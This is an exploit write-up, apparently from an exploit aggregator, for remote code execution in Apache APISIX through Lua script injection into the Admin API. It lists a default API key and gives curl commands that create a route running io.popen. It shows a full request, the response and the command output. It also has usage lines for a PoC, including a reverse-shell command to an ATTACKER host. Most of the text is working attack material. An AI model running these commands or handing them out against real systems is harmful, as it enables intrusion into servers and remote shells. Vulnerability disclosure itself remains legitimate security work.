Share
## https://sploitus.com/exploit?id=A850288C-3512-5B06-84FB-869F100C7956
# Apache APISIX - Remote Code Execution
Admin API script injection via `loadstring()`.
---
## The Bug
APISIX allows defining route logic via a `script` field. The script is compiled and executed using Lua's `loadstring()` with **zero sanitization**.
**Vulnerable code** โ `apisix/script.lua:32`:
```lua
local loadfun, err = loadstring(script, "route#" .. route.value.id)
```
Same pattern in `apisix/admin/routes.lua:150` and `apisix/admin/routes.lua:162`.
Any authenticated request to the Admin API can inject arbitrary Lua code.
---
## Requirements
- Access to Admin API (default: port `9180`)
- Valid `X-API-KEY` header
Default key in most deployments: `edd1c9f034335f136f87ad84b625c8f1`
---
## Usage
```bash
python3 poc.py -t http://TARGET:9180 -k API_KEY -c "id"
```
| Flag | Description |
|------|-------------|
| `-t` | Admin API URL (default: `http://127.0.0.1:9180`) |
| `-k` | API key (default: `edd1c9f034335f136f87ad84b625c8f1`) |
| `-c` | Command to execute (default: `id`) |
| `--cleanup` | Remove injected route after execution |
**Examples:**
```bash
# Basic
python3 poc.py -t http://10.10.10.50:9180
# Custom command
python3 poc.py -t http://10.10.10.50:9180 -c "cat /etc/passwd"
# Reverse shell
python3 poc.py -t http://10.10.10.50:9180 -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
```
---
## Exploitation
**1. Create a malicious route:**
```bash
curl -X PUT "http://TARGET:9180/apisix/admin/routes/pwned" \
-H "Content-Type: application/json" \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
-d '{
"uri": "/rce",
"script": "local h = io.popen(\"id\") local r = h:read(\"*a\") h:close() return { access = function() ngx.say(r) ngx.exit(200) end }",
"upstream": {"type": "roundrobin", "nodes": {"127.0.0.1:80": 1}}
}'
```
**2. Trigger execution:**
```bash
curl "http://TARGET:9080/rce"
```
---
## Proof
**Request โ Create route with injected script:**
```http
PUT /apisix/admin/routes/rce_demo HTTP/1.1
Host: 127.0.0.1:9180
Content-Type: application/json
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
{
"uri": "/pwned",
"script": "local handle = io.popen(\"id\") local result = handle:read(\"*a\") handle:close() return { access = function(ctx) ngx.say(result) ngx.exit(200) end }",
"upstream": {"type": "roundrobin", "nodes": {"127.0.0.1:80": 1}}
}
```
**Response:**
```json
{
"value": {
"uri": "/pwned",
"script": "local handle = io.popen(\"id\") local result = handle:read(\"*a\") handle:close() return { access = function(ctx) ngx.say(result) ngx.exit(200) end }",
"id": "rce_demo",
"create_time": 1768059440,
"upstream": {
"type": "roundrobin",
"nodes": {
"127.0.0.1:80": 1
}
},
"update_time": 1768059440
},
"key": "/apisix/routes/rce_demo"
}
```
**Trigger โ GET /pwned:**
```
uid=636(apisix) gid=636(apisix) groups=636(apisix)
```
**RCE confirmed.**
---
## Affected Versions
Tested on latest `master` branch (commit `3af57591`).
The `loadstring()` pattern has existed since the script feature was introduced.
---
**Athena Security**